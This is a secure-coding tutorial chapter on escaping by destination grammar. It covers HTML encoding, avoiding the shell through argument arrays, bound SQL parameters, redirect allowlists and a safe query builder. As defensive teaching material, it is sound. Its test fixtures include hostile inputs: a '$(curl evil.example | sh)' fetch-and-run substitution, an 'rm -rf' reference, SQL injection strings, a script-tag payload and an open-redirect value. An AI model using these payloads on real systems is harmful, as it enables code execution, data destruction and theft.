Escaping by destination grammar

The string does not know where it is going. Only the sink knows how it will be parsed, and only the sink's grammar can say which sequences change meaning there. A semicolon is nothing to an HTML parser and a statement separator to a shell. A single quote is a string delimiter in SQL and an ordinary character in a filename. Angle brackets are inert in a shell command and the entire attack surface in HTML. There is no character set that is dangerous everywhere and safe nowhere, so a function that escapes "dangerous characters" is escaping the union of five grammars' special cases and getting each one slightly wrong.

That is the argument against the single boundary sanitiser, and it is also the shape of the correct answer: one control per sink, each chosen for the interpreter it feeds. The previous chapter's trace found the crossings in a report-generation agent — a title into an HTML email, a filename, a filter fragment into SQL, a redirect target. This chapter says what goes on each of those edges, and why one of them cannot be fixed by escaping at all.

Five destinations, five grammars#

Here are the four crossings from the report generator, plus the redirect, each with its interpreter and the control its grammar actually requires.

Reading down the "what special means" column is the whole argument. The dangerous characters are different in every row, and in two rows the danger is not a character at all — it is a structure or a destination. A function tuned for one column mangles the others and secures none of them.

That is stronger than "one function is hard to write", and the argument is short enough to check. Suppose a single function existed that made a string safe for all five rows. Take any character it escapes. In the grammar where that character is special, escaping it is required. In a grammar where it is ordinary — a single quote in a filename, an angle bracket in a shell argument — escaping it changes the value, so the filename written is not the filename asked for and the shell argument is not the argument meant. Now take any character it leaves alone. If that character is special in some other row, that row is exposed. So for every character the function must either corrupt a value somewhere or leave an opening somewhere, and it must decide this per character with no knowledge of which row the string is heading for. The five special-character sets in that column overlap only partially and none contains another, which is what makes the dilemma unavoidable rather than a matter of picking the union carefully. The conclusion is not that the boundary sanitiser is badly written. It is that the information it would need — the destination — is not available where it runs.

The controls fall into two families. Contextual encoding and bound parameters keep the untrusted string on the data side of the interpreter by transforming it, so the interpreter sees it as inert text or a bound value no matter what it contains. Argument arrays, canonicalisation — reducing a value to the single normalised form the interpreter will actually use, before you judge it — and allowlists do something different: they change how the string is handed over or constrain what it is allowed to be, so that interpretation never has a chance to promote it. The distinction matters because it explains why you cannot always "just escape" — sometimes there is no escaping function, only a different way of making the call.

The word "contextual" in the HTML row is carrying real weight, and it is the part hand-rolled escaping gets wrong most often. HTML is not one grammar but several nested ones, and the correct encoding depends on which nested context the value lands in. A string placed between tags as text content needs the five characters < > & " ' encoded. The same string placed inside an attribute value needs quotes handled with more care, because breaking out of the attribute is enough to inject a new one. A string placed inside a <script> block, or inside a style attribute, or inside a URL that becomes an href, is in a different grammar again, where HTML entity encoding does nothing useful and can even be actively wrong. This is why "escape the HTML" is not a single instruction: the encoder has to know the destination context, which is exactly why a maintained templating engine that tracks context for you beats a replace chain that assumes every value lands in the same place. A generic sanitiser at the boundary cannot know any of this, because the context is decided at the sink, far from where the boundary sits. Topic 4.9, on escaping user input into a prompt, works the same principle in the other direction, where the destination grammar is the prompt's own structure.

Patching the sinks and proving it with hostile fixtures#

Take the sinks in turn. Each patch is small; the value is in verifying it against a fixture designed to break the naive version.

For the HTML title, the control is context-appropriate encoding. If the title is going into text content, encode for HTML text; if into an attribute, encode for attribute context, which is a stricter rule. Using a maintained library rather than hand-rolled replacements matters, because the parser has more edge cases than a replace chain will cover.

import html

title = resp["title"]  # 'Q3 refunds <script>steal()</script>'
safe = f"<h1>{html.escape(title)}</h1>"
# → <h1>Q3 refunds &lt;script&gt;steal()&lt;/script&gt;</h1>
assert "<script>" not in safe            # fixture: raw tag must not survive

For the shell, the control is to not invoke a shell at all. A model-chosen argument goes into an argument array passed straight to the process, so no shell parses it and there is nothing for ; rm -rf to separate.

import subprocess

report_arg = resp["title"]  # '$(curl evil.example | sh)'
# WRONG: subprocess.run(f"render {report_arg}", shell=True)
# RIGHT: no shell, argument stays one token
subprocess.run(["render", report_arg], shell=False, check=True)
# fixture: the substitution is passed literally to `render`,
# never evaluated by any shell.

The safety there comes from a change in what is executed, not from a flag being set to false. With shell=True the operating system is asked to start a shell and hand it one string; the shell's whole job is to read that string, split it on whitespace, expand globs, perform command substitution where it sees $(...), and only then execute something. Every dangerous behaviour in the shell row of the table is the shell doing what it exists to do. With a list and shell=False, the operating system is asked to start render directly, and it is handed the elements of the list as separate arguments. There is no process anywhere in the sequence whose job is to re-read those arguments as a command line, so $(...) arrives at render as seven characters in its first argument. The control is not "escaping the shell metacharacters"; it is that nothing in the path is a shell. That distinction matters the moment somebody proposes a helper that quotes the string and keeps shell=True, which reintroduces an interpreter and then tries to out-argue it.

For SQL values — the ones that genuinely are values, like an account id or a region — the control is bound parameters. The placeholder tells the driver "this is data," and the driver sends it out of band so the engine never parses it as part of the statement.

region = resp["region"]  # "EU' OR 1=1 --"
cur.execute("SELECT * FROM refunds WHERE region = %s", (region,))
# The whole string, quote and all, is compared as one literal value.
# fixture: query returns rows for the literal region "EU' OR 1=1 --",
# i.e. none, rather than every row.

"Out of band" is the phrase to unpack, because it is the reason the quote in that value cannot end the string literal. The driver sends the statement text and the parameter values as separate parts of the protocol message. The engine parses the statement text — the part with %s in it — into a plan before it has looked at any value at all, so by the time the value arrives, the question of where the string literal ends has already been answered by a piece of text the model never touched. The value is then attached to the plan as a single comparison operand. That is why the fixture's assertion is what it is: the engine compares the region column against the literal characters EU' OR 1=1 --, no row has a region spelled that way, and the result is zero rows. The naive version returns every row; the parameterised version returns none. The two outcomes are as far apart as they can be, which is what makes this a usable fixture rather than a subtle one — a regression here does not shade the answer, it inverts it.

The redirect gets an allowlist. The model may pick a destination, but only from a set your code controls, so next is a key into a table rather than a URL the model composes.

ALLOWED = {"done": "/reports/done", "review": "/reports/review"}
target = ALLOWED.get(resp["next"], "/reports/done")
redirect(target)  # fixture: resp["next"] = "//evil.example" → falls to default

The filename is the sink where escaping does not help, because rejecting .. in the string leaves encoded separators, alternate representations, and symlinks untouched — the resolver, not the string, decides where the write lands. That sink has its own chapter next, and the short version here is that the control is to resolve the path first and then check the result is inside an allowed root, which is a different move from any escaping.

The WHERE clause that cannot be parameterised#

That leaves the SQL sink's harder half, and it is the case worth dwelling on because it is where the confident answer fails. Bound parameters covered the value — the region string went across as data. But the report model did not just supply a value; it supplied a filter fragment, a whole WHERE clause it composed: region = 'EU' OR 1=1. Parameterisation binds values, and this is not a value. It is structure — a column name, a comparison operator, a boolean connective, a second predicate. There is no placeholder for "an operator" or "a boolean expression," because the placeholder mechanism exists precisely to separate structure from data, and this string is structure.

The shallow answer, and it comes up in every review, is "parameterise the WHERE clause and it's covered." Attempt it and the failure becomes concrete. You cannot write WHERE %s and bind the fragment, because the driver would send region = 'EU' OR 1=1 as a single quoted string literal, and the query SELECT * FROM refunds WHERE 'region = ''EU'' OR 1=1' is either a type error or a constant-true expression, not the filter anyone wanted. So the tempting move is to parameterise the parts that look like values and interpolate the part that looks like structure — bind the 'EU', concatenate the column and operator. That hybrid is the exact shape of most real SQL injection in modern code: the 1=1, the OR, the -- comment that truncates the rest of the statement all live in the "structural" part that got interpolated, and binding the value next to it does nothing for them.

The honest conclusion is that a model composing SQL structure is not a sink you make safe by escaping; it is a design you refuse. What you build instead keeps the structure in your code and lets the model choose only among fixed options. The model does not emit a WHERE clause; it emits a small, typed object that your code turns into a query whose shape you wrote.

# The model may only fill these, all bound or allowlisted:
FILTERABLE = {"region", "status", "tier"}   # allowlisted column names

def build_query(sel: dict):
    col = sel["column"]
    if col not in FILTERABLE:
        raise ValueError(f"column not allowed: {col}")
    # column is now one of a fixed set; value is bound
    return f"SELECT * FROM refunds WHERE {col} = %s", (sel["value"],)

# Model output: {"column": "region", "value": "EU"}
# Attacker output: {"column": "region; DROP", "value": "x"} → rejected

The operator, the boolean logic, and the table are fixed in your code. The column comes from an allowlist, so even though it is "structure," the model is choosing an index into a set you defined rather than writing free-form SQL. The value is bound. Nothing the model emits reaches the SQL grammar as text. That is the difference between a control and a hope: the query builder can only produce queries you already decided were acceptable.

That claim can be checked rather than believed, by counting the statements the function is capable of emitting. The table is a literal. The keyword, the comparison operator and the placeholder are literals. The only part of the statement text that varies is col, and col is rejected unless it is one of the three names in FILTERABLE. So the set of distinct statement texts this function can produce has exactly three members, and you can write all three out on a napkin. Everything the model supplies beyond that choice arrives as a bound value, which by the previous section never reaches the parser. A control whose entire output space is three known strings is a different kind of object from a control that inspects an unbounded string and decides it looks acceptable, and the second kind is what every escaping proposal in this chapter turns out to be.

The reason col may be interpolated at all, having just been told that model output must not reach the SQL grammar as text, is worth saying out loud. It is not the model's string that is interpolated. The membership test either fails, in which case nothing is interpolated, or succeeds, in which case the characters placed into the query are equal to a name you wrote in your own source. The model supplied a selection among three constants; the constants came from you. That is what "an allowlist turns structure into an index" means concretely, and it is the only shape in which the model gets to influence structure safely.

Where a "safe subset" of structure is still structure#

The pattern across the five sinks is that safety comes from matching the control to the interpreter, and that the strongest controls remove interpretation rather than sanitise for it. Bound parameters remove the value from the SQL grammar; an argument array removes the shell entirely; an allowlist removes the model's ability to name a destination; the structured query builder removes free-form SQL. Encoding is the one that transforms rather than removes, and it is the right tool for HTML text precisely because you do want the string to display, just never to parse.

What does not generalise is any instinct that a "safe subset" of structure is fine to let the model write directly. The WHERE clause is the clean example, but the same trap sits in a model composing a file glob — a wildcard pattern such as *.csv that the shell or library expands into a list of real filenames — a regular expression fed to an engine prone to catastrophic backtracking, where a crafted pattern makes matching take time that grows exponentially with the input, a template expression, or a JSONPath, which is a small query language for selecting values out of a JSON document. In each, the model is authoring code in a grammar, and the grammar's structural elements cannot be bound.

The tell that you are in this case is that the argument's legitimate values do not form a set you could write down: a column name can be enumerated, a boolean expression cannot. Where they do form a set, an allowlist turns structure into an index and the sink is safe; where they do not, the choice is between changing the contract and accepting whatever the grammar allows.

The filename sink is next, and it is the case where even people who accept everything in this chapter still reach for a blocklist, because the string looks like something a regex can vet — and the operating system disagrees.